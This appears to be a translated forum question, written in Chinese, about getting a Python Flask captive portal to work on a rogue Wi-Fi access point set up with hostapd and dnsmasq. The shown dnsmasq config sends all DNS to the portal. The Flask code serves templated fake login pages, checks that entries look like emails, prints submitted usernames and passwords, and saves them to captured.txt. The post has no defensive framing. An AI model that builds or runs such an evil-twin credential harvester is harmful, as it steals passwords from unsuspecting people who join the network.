Python Flask 强制门户

Python Flask 强制门户

我正在制作 python 工具,用于使用 hostapd 创建接入点,在 10.0.0.1 上运行 http 服务器,并使用 dnsmasq 将客户端重定向到 http 服务器登录页面

当我使用 localhost 作为主机名时它可以工作,但是当我使用 10.0.0.1 作为主机名 flask 服务器时它给了我 204 之类的错误,或者当我将 android 设备连接到接入点时未找到 success.txt。

在运行服务器并在后台打开浏览器时出现以下错误:

10.0.0.43 - - [21/Aug/2022 13:16:20] "GET /hotspot-detect.html HTTP/1.0" 302 -
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET / HTTP/1.0" 200 -

当我尝试从 iOS 设备连接到 AP 时,情况如下:

10.0.0.43 - - [21/Aug/2022 13:16:20] "GET /hotspot-detect.html HTTP/1.0" 302 -
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET / HTTP/1.0" 200 -

http.server使用 python并使用 编写 html 文件时它可以工作self.wfile.write。但我想使用 flask,并拥有可自定义的模板。

模板文件夹配置:

- script_folder:
   server.py
   - templates:
      - captive_portal1:
         login.html
         redirect.html
      - captive_portal2:
         login.html
         redirect.html
      ...


这是我的 dnsmasq 配置:

#Set the wifi interface
interface=wlan1
#Set the ip range that can be given to clients
dhcp-range=10.0.0.10,10.0.0.100,8h
#Set the gateway IP address
dhcp-option=3,10.0.0.1
#Set dns server address
dhcp-option=6,10.0.0.1
#Redirect all requests to 10.0.0.1
address=/#/10.0.0.1
no-resolv

我的iptables设置(python代码片段):

os.system("iptables --flush --table nat")
os.system("iptables --flush FORWARD")
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")

启动 ap 后接口设置分配 ip 地址:

os.system('ifconfig ' + iface + ' 10.0.0.1 netmask 255.255.255.0')

最后是我的 Flask 服务器代码片段:

@app.route("/", methods=["POST", "GET"])
def login():
    error = None
    if request.method == "POST":
        current_date = str(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")) 
        username = request.form['username']
        password = request.form['password']

        if username == '' or password == '': # Catch empty input
            print(bstring.INFO, "Catched empty input, sending error to client!")
            error = "Username or password can't be empty!"
            return render_template('%s/login.html' % (template), error=error) 

        if email_vaildation(username) == False: # Catch invaild e-mail
            print(bstring.INFO, "Catched invaild email, sending error to client!")
            error = "Can't find account with given username!"
            return render_template('%s/login.html' % (template), error=error)

        else:
            print("""
----------------------------
Date: """ + bstring.BLUE + current_date + bstring.RESET + """
Username: """ + bstring.GREEN + username + bstring.RESET + """
Password: """ + bstring.GREEN + password + bstring.RESET + """
----------------------------   
    """)    
            file = open("captured.txt", "a")
            file.write("""
Date: """ + current_date + """
Username: """ + username + """
Password: """ + password + """
----------------------------""")
            file.close
            client=request.remote_addr # Client ip 
            if args.nointernet is True:
                print(bstring.INFO, "No internet option is enabled, keeping internet access disabled for:", client)
            else:
                print(bstring.ACTION, "Enabling internet access for:", client)
                enable_network(client)

            return redirect(url_for("redirect_page"))
    else:
        return render_template('%s/login.html' % (template)

相关内容